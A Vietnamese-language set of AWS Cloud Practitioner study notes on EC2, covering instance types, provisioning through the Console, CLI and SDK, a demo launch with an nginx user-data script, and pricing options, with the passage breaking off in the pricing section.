Amazon Elastic Compute Cloud (EC2) - dịch vụ compute mạnh mẽ của AWS. Khám phá cách provision và quản lý virtual servers, so sánh lợi ích của cloud với on-premises, và khái niệm multi-tenancy trong EC2. Tags: aws, ec2, compute, virtual-machines, aws-cloud-practitioner, aws-certification, cloud-computing Note: Nội dung dưới đây đã được rút gọn để giữ dung lượng file. Bản đầy đủ tại https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/compute-in-the-cloud/introduction-to-amazon-ec2 Compute (Tính toán) đề cập đến sức mạnh xử lý cần thiết để chạy ứng dụng, quản lý dữ liệu và thực hiện các phép tính. Trong cloud, sức mạnh này có sẵn theo nhu cầu. Bạn có thể truy cập nó từ xa mà không cần sở hữu hoặc bảo trì phần cứng vật lý. Về cơ bản, compute in the cloud có nghĩa là tạo các virtual machines (máy ảo) với một cloud provider để chạy ứng dụng và tác vụ qua internet. Trong các bài học tiếp theo, bạn sẽ có được sự hiểu biết sâu sắc về Amazon Elastic Compute Cloud (Amazon EC2), một dịch vụ compute mạnh mẽ từ AWS, khi bạn khám phá tính linh hoạt, hiệu quả chi phí và khả năng mở rộng của nó. ## Mục tiêu học tập Sau khi hoàn thành bài học này, bạn sẽ có thể: - ✅ Mô tả cách các tài nguyên compute được provision và quản lý trong cloud - ✅ So sánh lợi ích và thách thức của việc sử dụng virtual servers với việc quản lý physical servers on-premises - ✅ Xác định khái niệm multi-tenancy trong Amazon EC2 ## Amazon EC2 là gì? Amazon Elastic Compute Cloud (Amazon EC2) linh hoạt, hiệu quả về chi phí và nhanh hơn so với việc quản lý servers on-premises. Nó cung cấp compute capacity theo nhu cầu có thể được launch nhanh chóng, scale và terminate, với chi phí chỉ dựa trên việc sử dụng tích cực. Tính linh hoạt của Amazon EC2 cho phép phát triển và triển khai ứng dụng nhanh hơn. Bạn có thể launch nhiều hoặc ít virtual servers tùy theo nhu cầu và cấu hình bảo mật, networking và storage. Bạn cũng có thể scale tài nguyên lên hoặc xuống dựa trên việc sử dụng, chẳng hạn như xử lý traffic cao hoặc các tác vụ compute-heavy. ### Đặc điểm chính của Amazon EC2 - ⚡ On-demand compute capacity - Compute capacity theo nhu cầu - 🚀 Quick launch - Launch nhanh chóng trong vài phút - 📈 Scalable - Có thể scale lên hoặc xuống - 💰 Cost-effective - Chỉ trả cho những gì bạn sử dụng - 🔧 Flexible - Hoàn toàn kiểm soát cấu hình ## So sánh: On-premises vs Cloud Resources Khi thiết kế hạ tầng cho doanh nghiệp của bạn, việc chọn đúng tài nguyên có thể ảnh hưởng đáng kể đến hiệu quả, tính linh hoạt và tổng chi phí của bạn. ### Thách thức của On-premises Resources Hãy tưởng tượng bạn chịu trách nhiệm thiết kế hạ tầng của công ty để hỗ trợ các website mới. Với tài nguyên on-premises truyền thống, bạn phải: 1. 💰 Spend money upfront to purchase hardware - Chi tiền trước để mua phần cứng 2. 🚚 Wait for the servers to be delivered to you - Chờ servers được giao đến 3. 🔧 Install the servers in your physical data center - Cài đặt servers trong data center vật lý của bạn 4. ⚙️ Make all the necessary configurations - Thực hiện tất cả các cấu hình cần thiết Vấn đề: - ⏳ Time-consuming - Tốn thời gian (vài tuần đến vài tháng) - 💸 Costly - Tốn kém (đầu tư lớn trước) - 🔒 Inflexible - Không linh hoạt (bị khóa vào một dung lượng cụ thể có thể không phù hợp với nhu cầu thay đổi) ### Lợi ích của Cloud Resources Ngược lại, với Amazon EC2, bạn có thể nhanh chóng launch, scale và stop instances dựa trên nhu cầu của mình mà không có sự chậm trễ và chi phí trước liên quan đến tài nguyên on-premises truyền thống. Lợi ích: - ⚡ Scale up or down based on demand - Scale lên hoặc xuống dựa trên nhu cầu - 🛑 Stop using instances after a workload has completed - Dừng sử dụng instances sau khi workload hoàn thành - 🚀 Provision and launch an Amazon EC2 instance within minutes - Provision và launch một EC2 instance trong vài phút - 💰 Pay only for the compute time used when an instance is running - Chỉ trả cho thời gian compute được sử dụng khi instance đang chạy ## Amazon EC2: Tổng quan Nếu bạn nhớ từ ví dụ cửa hàng cà phê, các nhân viên là một phép ẩn dụ cho mô hình client/server nơi client gửi request đến server, server thực hiện một số công việc, và sau đó gửi response. Ví dụ đó dành cho cửa hàng cà phê, nhưng ý tưởng tương tự áp dụng cho các doanh nghiệp khác. Các doanh nghiệp này, dù họ đang ở healthcare, manufacturing, insurance, hay delivering video content, cũng đang sử dụng mô hình này để cung cấp sản phẩm, tài nguyên hoặc dữ liệu cho end users. ### Bạn cần Compute Capacity Bạn cần raw compute capacity (sức mạnh tính toán thô) để host ứng dụng của bạn và cung cấp sức mạnh tính toán mà doanh nghiệp của bạn cần. Khi bạn làm việc với AWS, những servers đó được gọi là EC2 instances. ### So sánh EC2 với On-premises Sử dụng EC2 cho compute: - ✅ Highly flexible - Rất linh hoạt - ✅ Cost effective - Hiệu quả về chi phí - ✅ Quick - Nhanh chóng So với chạy servers on-premises: - ⏳ Thời gian và tiền bạc để bắt đầu với on-premises resources khá cao - ⚡ Với EC2, việc bắt đầu thuận tiện hơn nhiều AWS đã lo phần khó cho bạn: - 🏗️ AWS liên tục vận hành một lượng lớn compute capacity sẵn sàng để sử dụng - 🎯 Bạn có thể sử dụng bất kỳ phần nào của capacity đó khi bạn cần - 🚀 Tất cả những gì bạn phải làm là request các EC2 instances bạn muốn, và chúng sẽ launch và boot up, sẵn sàng để sử dụng trong vài phút ### Tính linh hoạt và Chi phí Sau khi bạn hoàn thành: - 🛑 Bạn có thể stop hoặc terminate các EC2 instances - 🔓 Bạn không bị khóa hoặc mắc kẹt với các servers mà bạn không cần hoặc muốn Việc sử dụng EC2 instances của bạn có thể thay đổi rất nhiều theo thời gian: - 📈 Tăng lên trong giờ cao điểm - 📉 Giảm xuống trong giờ thấp điểm - 💰 Bạn chỉ trả cho những gì bạn sử dụng Với EC2, bạn chỉ trả cho các instances đang chạy, không phải các instances đã stop hoặc terminate. ## Virtual Machines và Multi-tenancy ### EC2 Instances là Virtual Machines EC2 instances là virtual machines (VMs) - máy ảo. VMs chia sẻ một physical host machine bên dưới với nhiều instances khác, đây là một khái niệm được gọi là multi-tenancy. ### Multi-tenancy là gì? Trong môi trường multi-tenant, bạn cần đảm bảo rằng mỗi VM được cách ly với nhau nhưng vẫn có thể chia sẻ tài nguyên được cung cấp bởi host. Vai trò của Hypervisor: - 🔧 Công việc chia sẻ tài nguyên và cách ly này được thực hiện bởi một phần mềm gọi là hypervisor, đang chạy trên host machine - 🛡️ Đối với EC2, AWS quản lý host bên dưới, hypervisor, và sự cách ly từ instance đến instance [… phần còn lại đã lược bớt] ============================================================================ # M02.02 - Amazon EC2 Instance Types URL: https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/compute-in-the-cloud/amazon-ec2-instance-types Source: docs/07-aws-cloud-practitioner-essentials/02-compute-in-the-cloud/02.amazon-ec2-instance-types.md Description: Tìm hiểu về các loại EC2 instance types khác nhau và đặc điểm của chúng. Xác định các use cases phù hợp cho từng loại EC2 instance type - General Purpose, Compute Optimized, Memory Optimized, Accelerated Computing, và Storage Optimized. Tags: aws, ec2, instance-types, compute, aws-cloud-practitioner, aws-certification, cloud-computing Note: Nội dung dưới đây đã được rút gọn để giữ dung lượng file. Bản đầy đủ tại https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/compute-in-the-cloud/amazon-ec2-instance-types Amazon EC2 cung cấp một loạt các instance types, mỗi loại được tùy chỉnh để đáp ứng các yêu cầu use case cụ thể. Các instances này đi kèm với các kết hợp khác nhau của CPU, memory, storage và networking capabilities, vì vậy bạn có thể chọn đúng mix tài nguyên để tối ưu hóa hiệu suất cho ứng dụng của mình. ## Mục tiêu học tập Sau khi hoàn thành bài học này, bạn sẽ có thể: - ✅ Giải thích các loại EC2 instance types khác nhau và đặc điểm của chúng - ✅ Xác định các use cases phù hợp cho từng loại EC2 instance type ## Ví dụ dễ hiểu: Các loại máy pha cà phê Hãy hình dung EC2 instances như các loại máy pha cà phê khác nhau trong cửa hàng cà phê của chúng ta. Khách hàng thích sự đa dạng. Không phải tất cả họ đều uống cùng một thứ, vì vậy chúng ta cần nhiều hơn chỉ một loại máy pha cà phê. Ví dụ: - ☕ High-powered espresso machine - Cho những người muốn espresso shots hoặc lattes - 🫖 Classic-drip coffee machine - Cho khách hàng chỉ muốn cà phê đơn giản - 🧊 Cold-brew machine - Cho những người muốn caffeine lạnh Điểm quan trọng: Nếu chúng ta muốn doanh nghiệp hoạt động hiệu quả nhất có thể, điều quan trọng là sử dụng đúng máy pha cà phê cho mỗi đơn hàng. ## EC2 Instance Types: Tương tự như máy pha cà phê Điều này tương tự như triển khai EC2 instances. Có các loại instances khác nhau phục vụ các mục đích khác nhau trong môi trường AWS của bạn. Instance types được nhóm dưới instance families, cung cấp các kết hợp khác nhau của: - 💻 CPU - Sức mạnh xử lý - 💾 Memory - Bộ nhớ - 💿 Storage - Lưu trữ - 🌐 Networking capacity - Khả năng mạng Điều này cho bạn sự linh hoạt để tối ưu hóa cho các loại tác vụ nhất định bằng cách chọn instances cụ thể cho workload cụ thể của bạn. ## 5 Instance Families chính Các instance families khác nhau là: 1. General purpose - Mục đích chung 2. Compute optimized - Tối ưu tính toán 3. Memory optimized - Tối ưu bộ nhớ 4. Accelerated computing - Tính toán tăng tốc 5. Storage optimized - Tối ưu lưu trữ Hãy cùng khám phá từng loại! ### 1. General Purpose (Mục đích chung) Đặc điểm: - ⚖️ Balanced mix - Cung cấp sự cân bằng tốt của compute, memory và networking resources - 🎯 Versatile - Có thể được sử dụng cho nhiều workloads đa dạng Use cases: - 🌐 Web services - Dịch vụ web - 📦 Code repositories - Kho lưu trữ code - 🚀 Starting point - Điểm khởi đầu tốt nếu bạn không biết workload của mình sẽ hoạt động như thế nào trước thời hạn Ví dụ: - Web servers - Development environments - Small to medium databases - Application servers Ví dụ instance types: - `t3.micro`, `t3.small` - Burstable performance - `m5.large`, `m5.xlarge` - General purpose ### 2. Compute Optimized (Tối ưu tính toán) Đặc điểm: - 💻 High CPU performance - Hiệu suất CPU cao - ⚡ Compute-intensive - Tối ưu cho các tác vụ compute-intensive Use cases: - 🎮 Gaming servers - Máy chủ game - 🔬 High-performance computing (HPC) - Tính toán hiệu suất cao - 🤖 Machine learning tasks - Tác vụ machine learning - 📊 Scientific modeling - Mô hình khoa học - 🧮 Batch processing - Xử lý batch Ví dụ: - Video encoding - Scientific simulations - High-traffic web servers - Distributed analytics Ví dụ instance types: - `c5.large`, `c5.xlarge` - Compute optimized - `c6i.xlarge` - Latest generation compute optimized ### 3. Memory Optimized (Tối ưu bộ nhớ) Đặc điểm: - 💾 High memory capacity - Dung lượng bộ nhớ cao - ⚡ Fast performance - Hiệu suất nhanh cho workloads xử lý large datasets trong memory Use cases: - 📊 Processing large datasets - Xử lý datasets lớn - 📈 Data analytics - Phân tích dữ liệu - 🗄️ Databases - Cơ sở dữ liệu - 🔍 Real-time analytics - Phân tích thời gian thực - 💼 In-memory databases - Cơ sở dữ liệu trong bộ nhớ Ví dụ: - Redis, Memcached - SAP HANA - Real-time big data analytics - High-performance databases Ví dụ instance types: - `r5.large`, `r5.xlarge` - Memory optimized - `r6i.xlarge` - Latest generation memory optimized - `x1e.32xlarge` - Extreme memory ### 4. Accelerated Computing (Tính toán tăng tốc) Đặc điểm: - 🚀 Hardware accelerators - Sử dụng hardware accelerators - 🔧 Co-processors - Các co-processors thực hiện các chức năng hiệu quả hơn so với phần mềm chạy trên CPUs Use cases: - 🧮 Floating-point number calculations - Tính toán số dấu phẩy động - 🎨 Graphics processing - Xử lý đồ họa - 🔍 Data pattern matching - Khớp mẫu dữ liệu - 🤖 Machine learning inference - Suy luận machine learning - 🎬 Video processing - Xử lý video Hardware accelerators bao gồm: - 🎮 GPUs (Graphics Processing Units) - Đơn vị xử lý đồ họa - 🧠 FPGAs (Field-Programmable Gate Arrays) - Mảng cổng có thể lập trình - ⚡ AWS Inferentia - Chip inference của AWS - 🚂 AWS Trainium - Chip training của AWS Ví dụ: - Deep learning training - Video transcoding - 3D rendering - Scientific computing Ví dụ instance types: - `p3.2xlarge` - GPU instances (NVIDIA) - `g4dn.xlarge` - GPU instances (NVIDIA T4) - `inf1.xlarge` - AWS Inferentia - `trn1.2xlarge` - AWS Trainium ### 5. Storage Optimized (Tối ưu lưu trữ) Đặc điểm: - 💿 High performance for locally stored data - Hiệu suất cao cho dữ liệu được lưu trữ cục bộ - 📊 High disk throughput - Thông lượng đĩa cao - ⚡ Low latency - Độ trễ thấp Use cases: - 🗄️ Large databases - Cơ sở dữ liệu lớn - 📦 Data warehousing - Kho dữ liệu - 💾 I/O-intensive applications - Ứng dụng I/O-intensive - 📊 Data analytics on local storage - Phân tích dữ liệu trên local storage - 🔍 OLTP (Online Transaction Processing) - Xử lý giao dịch trực tuyến Ví dụ: - NoSQL databases (MongoDB, Cassandra) - Data warehousing (Hadoop, Spark) - OLTP databases - Log processing Ví dụ instance types: - `i3.large`, `i3.xlarge` - Storage optimized (NVMe SSD) - `i4i.xlarge` - Latest generation storage optimized - `d2.xlarge` - Dense storage instances ## Instance Size (Kích thước Instance) Sau khi bạn đã quyết định về instance type, phần tiếp theo là chọn instance size phù hợp. ### Cân nhắc quan trọng Tôi khuyến khích bạn không chỉ nghĩ về performance mà còn về cost: - ✅ Bigger instances = More CPU, memory, storage = Cost more - 💰 Smaller instances = Less resources = Cost less [… phần còn lại đã lược bớt] ============================================================================ # M02.03 - How to Provision AWS Resources URL: https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/compute-in-the-cloud/how-to-provision-aws-resources Source: docs/07-aws-cloud-practitioner-essentials/02-compute-in-the-cloud/03.how-to-provision-aws-resources.md Description: Tìm hiểu cách sử dụng AWS Management Console, AWS CLI và AWS SDK để tương tác với AWS services. Mô tả trách nhiệm của khách hàng và AWS đối với virtual machines, và giải thích sự khác biệt giữa managed và unmanaged services. Tags: aws, aws-console, aws-cli, aws-sdk, api, provisioning, aws-cloud-practitioner, aws-certification Note: Nội dung dưới đây đã được rút gọn để giữ dung lượng file. Bản đầy đủ tại https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/compute-in-the-cloud/how-to-provision-aws-resources Trong AWS, các tác vụ như launch một EC2 instance, stop một instance, hoặc modify instance settings được thực hiện thông qua API requests. APIs cung cấp các phương thức được xác định trước để tương tác, quản lý và cấu hình tài nguyên AWS một cách hiệu quả. Trong bài học này, bạn sẽ tìm hiểu về ba cách chính để gọi AWS APIs. ## Mục tiêu học tập Sau khi hoàn thành bài học này, bạn sẽ có thể: - ✅ Giải thích cách sử dụng AWS Management Console, AWS CLI và AWS SDK để tương tác với AWS services - ✅ Mô tả trách nhiệm của khách hàng và AWS đối với virtual machines - ✅ Giải thích sự khác biệt giữa managed và unmanaged services ## AWS APIs: Nền tảng của mọi tương tác Chúng ta đã nói về một số dịch vụ AWS khác nhau, cũng như Global Infrastructure. Bạn có thể tự hỏi: "Làm thế nào để tôi thực sự tương tác với các dịch vụ này?" Câu trả lời là APIs. ### APIs là gì? - 🔌 API = Application Programming Interface - 📋 Định nghĩa các cách được xác định trước để bạn tương tác với AWS services - 🚀 Bạn có thể invoke hoặc call các APIs này để provision, configure và manage tài nguyên của bạn Trong AWS, mọi thứ đều là một API call: - Launch EC2 instance → API call - Stop instance → API call - Create S3 bucket → API call - Configure security groups → API call ## Ba cách chính để gọi AWS APIs Có ba cách chính bạn có thể gọi AWS APIs: 1. 🌐 AWS Management Console - Giao diện web 2. 💻 AWS Command Line Interface (CLI) - Dòng lệnh 3. 🔧 AWS Software Development Kit (SDK) - Lập trình Hãy cùng khám phá từng cách! ## 1. AWS Management Console ### Tổng quan AWS Management Console là một giao diện web để quản lý các dịch vụ AWS, cung cấp: - ⚡ Quick access - Truy cập nhanh đến các dịch vụ - 🔍 Search functionality - Chức năng tìm kiếm - 🔄 Simplified workflows - Quy trình làm việc đơn giản hóa Với mobile app: - 📱 Monitor resources - Giám sát tài nguyên - 🔔 View alarms - Xem cảnh báo - 💰 Check billing - Kiểm tra hóa đơn - 👥 Support multiple logged-in identities - Hỗ trợ nhiều danh tính đăng nhập cùng lúc ### Đặc điểm Sử dụng Console, bạn có thể: - 👁️ Manage resources visually - Quản lý tài nguyên một cách trực quan - 📊 Easy to digest - Dễ hiểu và dễ sử dụng - 🎓 Great for learning - Tuyệt vời cho việc học tập ### Use Cases Console phù hợp cho: - 🚀 Getting started - Bắt đầu với AWS - 📚 Building knowledge - Xây dựng kiến thức về các dịch vụ - 🧪 Setting up test environments - Thiết lập môi trường test - 💵 Viewing AWS bills - Xem hóa đơn AWS - 📊 Monitoring resources - Giám sát tài nguyên - ⚙️ Managing non-technical tasks - Quản lý các tác vụ không kỹ thuật Console có thể là nơi đầu tiên bạn sẽ đến khi học về AWS. ### Hạn chế của Console Tuy nhiên, sau khi bạn đã hoạt động trong môi trường production: - ❌ Bạn không muốn dựa vào phong cách point-and-click của console - ⏳ Ví dụ: Để tạo một EC2 instance, bạn cần: - Navigate qua nhiều màn hình khác nhau - Set tất cả các cấu hình bạn muốn - Sau đó launch instance của bạn - 🔄 Nếu bạn muốn launch một EC2 instance khác sau đó, bạn sẽ cần quay lại console và navigate qua các màn hình đó một lần nữa Vấn đề với manual provisioning: - ⚠️ Bằng cách để con người làm loại manual provisioning này, bạn đang mở ra khả năng lỗi tiềm ẩn - 😱 Rất có thể quên chọn một checkbox hoặc đánh vần sai điều gì đó khi bạn đang làm mọi thứ thủ công ## 2. AWS Command Line Interface (AWS CLI) ### Tổng quan Với AWS CLI, bạn quản lý nhiều dịch vụ AWS trực tiếp từ command line trên Windows, macOS và Linux. Bạn có thể tự động hóa các tác vụ thông qua scripts, chẳng hạn như launch EC2 instances. ### Đặc điểm AWS CLI khác với phong cách điều hướng trực quan của console: - 💻 Text-based input - Cho phép bạn tương tác với AWS services thông qua input dựa trên văn bản gọi là commands - 🤖 Automation through scripting - Tự động hóa thông qua scripting trở nên khả thi ### Use Cases AWS CLI phù hợp cho: - 👨‍💻 Advanced users - Người dùng nâng cao - 👩‍💻 Developers - Developers - 🤖 Automation - Tự động hóa tác vụ - 📜 Scripting actions - Script các hành động - ⚡ Efficient resource management - Quản lý tài nguyên hiệu quả từ command line ### Ví dụ sử dụng AWS CLI Ví dụ 1: Tạo EC2 Instance Chúng ta có thể chạy commands sử dụng AWS CloudShell, một cloud-based terminal đã có AWS CLI được cài đặt sẵn trong môi trường được quản lý. [code bash] aws ec2 run-instances \ --image-id ami-0c55b159cbfafe1f0 \ --instance-type t3.micro \ --count 1 [/code] Kết quả: Instance hiện đang khởi tạo! Ví dụ 2: Liệt kê Availability Zones Nếu bạn muốn làm điều gì đó khác, như liệt kê tất cả các AZs trong Region hiện tại: [code bash] aws ec2 describe-availability-zones [/code] Kết quả: Danh sách tất cả Availability Zones trong Region hiện tại. ### Automation với AWS CLI Điều quan trọng: - 📝 Các commands trong ví dụ này được chạy thủ công - 🤖 Nhưng chúng cũng có thể được bao gồm trong scripts và các quy trình tự động hóa khác - 🎯 Automation là một khía cạnh quan trọng để có một cloud deployment thành công và có thể dự đoán được theo thời gian ## 3. AWS Software Development Kit (AWS SDK) ### Tổng quan AWS SDK giúp bạn có thể tương tác với tài nguyên AWS thông qua các ngôn ngữ lập trình khác nhau, như Python chẳng hạn. ### Đặc điểm AWS SDK: - 🔧 Simplifies integration - Đơn giản hóa việc tích hợp AWS services vào ứng dụng của bạn - 📚 Provides APIs - Cung cấp APIs cho các ngôn ngữ lập trình khác nhau - 📖 Documentation and sample code - AWS cung cấp tài liệu và mã mẫu cho các ngôn ngữ như: - C++ - Java - .NET - Python - JavaScript - Và nhiều hơn nữa ### Use Cases AWS SDK phù hợp cho: - 👩‍💻 Developers - Developers - 🔗 Integrating AWS services - Tích hợp dịch vụ AWS vào ứng dụng - 💻 Language-specific APIs - Sử dụng APIs dành riêng cho ngôn ngữ ### Ví dụ sử dụng AWS SDK Ví dụ: Python Script sử dụng AWS SDK Hãy chạy một Python script sử dụng integrated development environment, Visual Studio Code, sử dụng SDK để liệt kê các EC2 instances trong Region hiện tại: [code python] import boto3 # Create EC2 client ec2 = boto3.client('ec2') # List all EC2 instances response = ec2.describe_instances() [… phần còn lại đã lược bớt] ============================================================================ # M02.04 - Demo Launching an Amazon EC2 Instance URL: https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/compute-in-the-cloud/demo-launching-an-amazon-ec2-instance Source: docs/07-aws-cloud-practitioner-essentials/02-compute-in-the-cloud/04.demo-launching-an-amazon-ec2-instance.md Description: Tìm hiểu các cấu hình chính cần thiết khi thiết lập EC2 instance. Giải thích cách AMI duy trì tính nhất quán và hiệu quả khi scale applications. Demo thực tế về cách launch một EC2 instance. Tags: aws, ec2, ami, demo, launch-instance, aws-console, aws-cloud-practitioner, aws-certification Note: Nội dung dưới đây đã được rút gọn để giữ dung lượng file. Bản đầy đủ tại https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/compute-in-the-cloud/demo-launching-an-amazon-ec2-instance Nếu bạn háo hức hiểu cách Amazon EC2 hoạt động, đây là cơ hội để xem nó trong hành động! Trong demo này, bạn sẽ tìm hiểu về các bước cơ bản của việc launch một EC2 instance. Đến cuối demo này, bạn sẽ có một EC2 instance hoàn toàn chức năng. ## Mục tiêu học tập Sau khi hoàn thành bài học này, bạn sẽ có thể: - ✅ Xác định các cấu hình chính cần thiết khi thiết lập EC2 instance - ✅ Giải thích cách AMI duy trì tính nhất quán và hiệu quả khi scale applications ## Demo: Tạo EC2 Instance cho Web Server Bạn đã học rất nhiều về EC2, và bây giờ, bạn có thể đang nghĩ: "Làm thế nào để tôi tự tạo một EC2 instance?" Trong video này, chúng ta sẽ đi qua quy trình tạo một EC2 instance cho một web server sử dụng AWS Management Console. Chúng ta sẽ xem qua một số cấu hình chính trên đường đi, vì vậy hãy bắt đầu! ### Bước 1: Truy cập EC2 Console Đầu tiên, chúng ta muốn làm là đi đến EC2 console. - 🔍 Bạn có thể tìm kiếm "EC2" trong AWS Console - 📌 Hoặc truy cập từ "Recently visited" hoặc shortcuts bar - 🎯 Có rất nhiều tùy chọn ở đây, nhưng chúng ta sẽ tập trung vào tùy chọn "Launch instance" ### Bước 2: Chọn Instance Name Điều đầu tiên chúng ta phải chọn là tên. - 📝 Chọn instance name để có thể tìm thấy nó sau này - 🏷️ Ví dụ: "my-web-server" hoặc "production-app-server" ### Bước 3: Chọn Amazon Machine Image (AMI) Điều tiếp theo chúng ta sẽ làm là chọn Amazon Machine Image, hoặc AMI. AMI là gì? - 📦 AMI là một template của operating system và các ứng dụng tích hợp sẵn mà nó sẽ đi kèm - 🔧 Chúng ta có thể tùy chỉnh điều này, nhưng ngay bây giờ, chúng ta sẽ sử dụng mặc định: Amazon Linux AMI - ✅ Amazon Linux AMI hoàn hảo cho một web server mục đích chung ### Bước 4: Chọn Instance Type Điều tiếp theo chúng ta phải quyết định là instance type. - 💻 Điều này đề cập đến sức mạnh tính toán mà web server của chúng ta sẽ có - 🎯 Trong trường hợp này, chúng ta sẽ chọn chỉ cơ bản: t2.micro t2.micro specifications: - 🖥️ 1 virtual CPU - Một CPU ảo - 💾 1 gigabyte of memory - Một gigabyte bộ nhớ - 🆓 Free Tier - Trong Free Tier (miễn phí) ### Bước 5: Chọn Key Pair Điều tiếp theo chúng ta chọn là key pair. - 🔑 Điều này liên quan đến cách chúng ta đăng nhập vào EC2 instance này - 🔐 Key pair đề cập đến một cặp keys: - 🔓 Public key - Sẽ được inject vào EC2 instance - 🔒 Private key - Chúng ta sẽ giữ lại Tùy chọn: - ➕ Chúng ta có thể tạo key pair ngay tại đây - ✅ Hoặc chọn một key đã được thiết lập trước đó ### Bước 6: Chọn Network Settings Phần tiếp theo là chọn network settings. - 🌐 Chúng ta sẽ có rất nhiều niềm vui khi đi qua tất cả các chi tiết này sau - 🔓 Nhưng ngay bây giờ, đủ để nói rằng chúng ta sẽ allow HTTP traffic from the internet - 🌍 Nó sẽ là một web server, sau tất cả, vì vậy đó là tất cả những gì chúng ta phải làm ### Bước 7: Chọn Storage Options Tùy chọn tiếp theo chúng ta phải chọn là storage options cho EC2 instance của chúng ta. - 💿 Trong trường hợp này, chúng ta sẽ cung cấp cho nó 8 gigabytes của disk space - 📦 Sử dụng gp3 EBS volume, hoặc elastic block store volume - ✅ Điều này có nghĩa là nó sẽ có nhiều không gian cho web serving Chúng ta sẽ tìm hiểu thêm về EBS sau, nhưng đây là storage được gắn vào EC2 instance của bạn. ### Bước 8: Cấu hình User Data (Optional) Và nói về web serving, chúng ta phải thực hiện một thay đổi nữa để nó thực sự là một web server. - 📦 Khi chúng ta chọn AMI, chúng ta đã chọn một AMI rất generic - ❌ AMI này không có web server được kích hoạt khi launch - ⚙️ Để làm điều đó, chúng ta sẽ đi vào Advanced Details, cụ thể là phần User Data User Data cho phép chúng ta: - 📝 Paste một script, chẳng hạn như script này, sẽ cài đặt và kích hoạt Nginx web server - 🌐 Đây là những gì chúng ta sẽ sử dụng để serve content lên internet Ví dụ User Data script: [code bash] #!/bin/bash yum update -y yum install -y nginx systemctl start nginx systemctl enable nginx [/code] ### Bước 9: Launch Instance Tất cả điều này trông ổn, vì vậy chúng ta sẽ nhấn "Launch instance" và xem những gì chúng ta nhận được. - ✅ Ngay khi instance launch, chúng ta có thể đi đến console của nó và xem một số chi tiết về EC2 instance đó - 🌐 Bây giờ EC2 instance của chúng ta đang chạy, chúng ta sẽ copy public IP address của nó - 🌍 Mở một browser mới và truy cập vào nó - 🎉 Và đó là nó! EC2 instance của riêng bạn đang chạy một web server cơ bản! ## Các cấu hình chính khi Launch EC2 Instance Tóm tắt các cấu hình chính bạn cần khi launch một EC2 instance: ### ✅ Required Configurations (Bắt buộc) 1. Instance Name 📝 - Tên để nhận dạng instance 2. Amazon Machine Image (AMI) 📦 - Template cho OS và software 3. Instance Type 💻 - CPU, memory, và network performance 4. Key Pair 🔑 - Để đăng nhập vào instance 5. Network Settings 🌐 - VPC, subnet, security groups 6. Storage 💿 - EBS volume type và size ### ⚙️ Optional Configurations (Tùy chọn) - User Data - Script để chạy khi instance khởi động - Tags - Metadata để tổ chức instances - IAM Role - Permissions cho instance - Monitoring - CloudWatch monitoring ## Amazon Machine Images (AMIs) Trong demo, bạn đã có giới thiệu nhanh về AMIs. AMIs là pre-built virtual machine images có các thành phần cơ bản cho những gì cần thiết để bắt đầu một instance. Bây giờ, hãy khám phá AMIs chi tiết hơn. ### AMI Components (Thành phần AMI) Một AMI bao gồm: 1. Operating System 🖥️ - Linux (Amazon Linux, Ubuntu, Red Hat, etc.) - Windows (Windows Server) 2. Storage Setup 💿 - Root volume configuration - EBS volume mappings 3. Architecture Type 🏗️ - x86_64 (Intel/AMD) - arm64 (AWS Graviton) 4. Permissions for Launching 🔐 - Public AMIs (anyone can use) - Private AMIs (only your account) - Shared AMIs (specific accounts) 5. Extra Software 📦 - Pre-installed applications - Configuration scripts - Development tools Bạn có thể sử dụng một AMI để launch nhiều EC2 instances có cùng setup. ## Ba cách sử dụng AMIs AMIs có thể được sử dụng theo ba cách: ### 1. Create Your Own (Tạo của riêng bạn) [… phần còn lại đã lược bớt] ============================================================================ # M02.05 - Amazon EC2 Pricing URL: https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/compute-in-the-cloud/amazon-ec2-pricing Source: docs/07-aws-cloud-practitioner-essentials/02-compute-in-the-cloud/05.amazon-ec2-pricing.md Description: Tìm hiểu về các tùy chọn pricing của Amazon EC2: On-Demand, Reserved Instances, Spot Instances, Savings Plans, Dedicated Hosts, và Capacity Reservations. Mô tả khi nào sử dụng mỗi tùy chọn pricing dựa trên use cases cụ thể. Tags: aws, ec2, pricing, on-demand, reserved-instances, spot-instances, savings-plans, dedicated-hosts, aws-cloud-practitioner, aws-certification Note: Nội dung dưới đây đã được rút gọn để giữ dung lượng file. Bản đầy đủ tại https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/compute-in-the-cloud/amazon-ec2-pricing Chúng ta đã nói về Amazon EC2 instance types, nhưng bạn có thể đang tự hỏi: "Điều này sẽ tốn bao nhiêu tiền?" Đừng lo lắng! Đối với EC2, chúng ta có nhiều tùy chọn billing có sẵn. Trong bài học này, bạn sẽ tìm hiểu về các tùy chọn pricing cho Amazon EC2. Thông tin này sẽ giúp bạn tìm giải pháp hiệu quả nhất về chi phí cho workloads của mình—dù bạn mới bắt đầu hay đang nhắm đến việc tối đa hóa tiết kiệm trên việc sử dụng dài hạn. ## Mục tiêu học tập Sau khi hoàn thành bài học này, bạn sẽ có thể: - ✅ Giải thích các tùy chọn pricing có sẵn của Amazon EC2 - ✅ Mô tả khi nào sử dụng mỗi tùy chọn pricing dựa trên use cases cụ thể - ✅ Mô tả Amazon EC2 Capacity Reservations và Reserved Instance (RI) flexibility ## Tổng quan về EC2 Pricing Options Với nhiều tùy chọn pricing EC2 có sẵn, bạn có thể chọn giải pháp hiệu quả nhất về chi phí dựa trên usage patterns của mình. Điều này giúp bạn cân bằng tính linh hoạt, tiết kiệm chi phí và nhu cầu workload cụ thể. ## 1. On-Demand Instances ### Tổng quan On-Demand Instances là tùy chọn được biết đến rộng rãi nhất. Điều này có nghĩa là bạn chỉ trả cho thời gian instance của bạn chạy. ### Đặc điểm - ⏱️ Pay per hour or per second - Trả theo giờ hoặc theo giây, tùy thuộc vào instance type và OS bạn chọn - 💰 No long-term commitments - Không có cam kết dài hạn - 💵 No upfront payments - Không cần thanh toán trước - 🚀 Self-service - Tự phục vụ ### Use Cases Hầu hết khách hàng thường sử dụng tùy chọn này khi: - 🎓 Getting started - Bắt đầu với AWS - 🧪 Testing workloads - Test workloads - 🔬 Exploring services - Khám phá dịch vụ - 📊 Unpredictable usage 